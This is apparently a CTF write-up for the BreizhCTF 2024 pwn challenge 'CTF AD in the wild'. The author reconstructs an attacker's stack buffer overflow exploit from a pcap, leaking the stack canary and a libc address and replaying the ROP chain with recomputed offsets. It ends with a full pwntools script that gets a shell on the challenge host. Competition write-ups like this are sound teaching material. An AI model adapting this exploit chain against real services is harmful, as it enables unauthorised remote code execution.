BreizhCTF 2024 - CTF AD in the wild (pwn)

BreizhCTF 2024 - CTF AD in the wild (pwn)

This pwn challenge was quite original for me as the only ressource provided was this pcap. The challenge states that someone pwn an exposed C service and the only footprint is this pcap.

From this, we should be able to dev the same exploit and pwn the machine too.

The pcap holds only TCP requests between 2 hosts. There are 4 exchanges and the first one look like this, from an ASCII perspective.

I mainly used tshark to extract the data from it and see what was sent from the client to the server and its response.

The first exchange is made of A padding ( 1032 bytes) which is quite typical of the exploitation of a buffer overflow from the client in red. The server response in blue holds the payload more 13 bytes that look like junk. b7 c9 27 29 b7 07 a0 d0 73 7d aa ff 7f. Which is a server memory leak.

The second requests is the following and also holds 1046 bytes of A padding and the server will send 6 bytes 6c 14 bb 49 30 56 :

The third exchange has 1126 A padding and the server returns also 6 bytes 4a c2 1a aa 23 7f :

Finally, the last tcp connexion is the biggest and have 2 exchanges within. The first message has 1032 A padding and then 152 bytes and the servers will only return the padding. The last message between both is the id command and its results from the server showing remote code execution.

From here I had two guesses : - There is a server memory leak and maybe some instruction pointer leak that could be leveraged to achieve a blind ROP - There is a server memory leak and we just have to replay the payload changing only some offsets

Lucky us, it’s the second option. If we observe the last red message we can spot some patterns :

00b7c92729b707a0adde00000000000099df1aaa237f00000000000000000000e5c71aaa237f0000040000000000000090d927aa237f000099df1aaa237f00000100000000000000e5c71aaa237f0000040000000000000090d927aa237f0000fd2d28aa237f0000000000000000000099df1aaa237f00000000000000000000e5c71aaa237f000031b031aa237f0000109a25aa237f00000a

And if we split this data every 8 bytes, more patterns.

00b7c92729b707a0
adde000000000000
99df1aaa237f0000
0000000000000000
e5c71aaa237f0000
0400000000000000
90d927aa237f0000
99df1aaa237f0000
0100000000000000
e5c71aaa237f0000
0400000000000000
90d927aa237f0000
fd2d28aa237f0000
0000000000000000
99df1aaa237f0000
0000000000000000
e5c71aaa237f0000
31b031aa237f0000
109a25aa237f0000

The most obvious pattern is the aa237f0000 bytes that is common too many blocks. It looks like an memory address in little endian. The last 3 bytes will be the offset of the different functions called to build the payload.

From here we can’t deduce the gadget used by the attacker but we just have to use the same but with adjusted addresses.

The pattern of the ROP is quite identifiable. The first 8 bytes is the canary, then some junk that doesn’t care as its saved RBP and then our ROP that consists of pop gadgets, the parameters to use and some libc functions calls.

The canary value 00b7c92729b707a0 is leaked by the first 8 bytes of the first server response so we’ll have to leak it too.

Multiple run give the same canary. The server is forked.

s = remote("challenge.ctf.bzh", 31908)
s.sendline("A" * 1032)
s.recvall()[1033:] # \x00\xda\xb4\x71\x99\xc3\x62\x63

payload = b"A" *  1032
payload += b"\x00\xda\xb4\x71\x99\xc3\x62\x63"
payload += p64(0xdead)

The third response of the server leaked this value 4a c2 1a aa 23 7f. This is from this value that the attacker computed the base address of the program and then used it in the final ROP payload.

The last 8 bytes of the payload 109a25aa237f0000 (0x7f23aa259a10) minus the initial program leaks (7f23aa1ac24a) give us an offset of 0xad7c6 to apply on our own leak

My third leak is 0x7f4fd85a524a so libc_2 + unknow_offset = 0x7f4fd85a524a. Applying the calculated offset 0xad7c6 leak call the same function as the attacker but for my address.

dec = lambda x: unpack("<Q", bytearray.fromhex(x.replace(" ", "")))[0]
hex(dec("109a25aa237f0000") - dec("4ac21aaa237f0000")) # 0xad7c6

libc_1 + unknow_offset = 0x7f23aa1ac24a
libc_1 + unknow_offset + attacker_function_offset = 0x7f23aa259a10
0x7f23aa1ac24a + attacker_function_offset = 0x7f23aa259a10
attacker_function_offset = 0x7f23aa259a10 - 0x7f23aa1ac24a
attacker_function_offset = 0xad7c6

libc_2 + unknow_offset + attacker_function_offset = ?
0x7f4fd85a524a + 0xad7c6 = 0x7f4fd8652a10

ROP gadget and libc address have the same base as the attacker used gadget within the libc itself. Even It’s more usual to use binary instruction to build the ROP chain

From this, only substraction are needed and will give the following offset. The arguments value doesn’t change, of course.

 00b7c92729b707a0 # stack canary
 adde000000000000 # saved rbp
 99df1aaa237f0000 # 0x1d4f, unknow func1
 0000000000000000 # unknow func1 ar
 e5c71aaa237f0000 # 0x59b
 0400000000000000
 90d927aa237f0000 # 0xd1746
 99df1aaa237f0000 # 0x1d4f
 0100000000000000
 e5c71aaa237f0000 # 0x59b
 0400000000000000
 90d927aa237f0000 # 0xd1746
 fd2d28aa237f0000 # 0xd6bb3
 0000000000000000
 99df1aaa237f0000 # 0x1d4f
 0000000000000000
 e5c71aaa237f0000 # 0x59b
 31b031aa237f0000 # 0x16ede7
 109a25aa237f0000 # 0xad7c6

We got everything to build our payload by adding the offset to our leaked libc address

from pwn import * 

base_addr = 0x7f4fd85a524a # leaked with the third request

payload = b"A" *  1032
payload += b"\x00\xda\xb4\x71\x99\xc3\x62\x63"
payload += p64(0xdead)
payload += p64(base_addr + 0x1d4f)
payload += p64(0)
payload += p64(base_addr + 0x59b)
payload += p64(4)
payload += p64(base_addr + 0xd1746)
payload += p64(base_addr + 0x1d4f)
payload += p64(1)
payload += p64(base_addr + 0x59b)
payload += p64(4)
payload += p64(base_addr + 0xd1746)
payload += p64(base_addr + 0xd6bb3)
payload += p64(0)
payload += p64(base_addr + 0x1d4f)
payload += p64(0)
payload += p64(base_addr + 0x59b)
payload += p64(base_addr + 0x16ede7)
payload += p64(base_addr + 0xad7c6)

s = remote("challenge.ctf.bzh", 31908)
s.sendline(payload)
s.interactive()

The challenge was pretty fun to to and required at least decent understanding of a ROP exploit.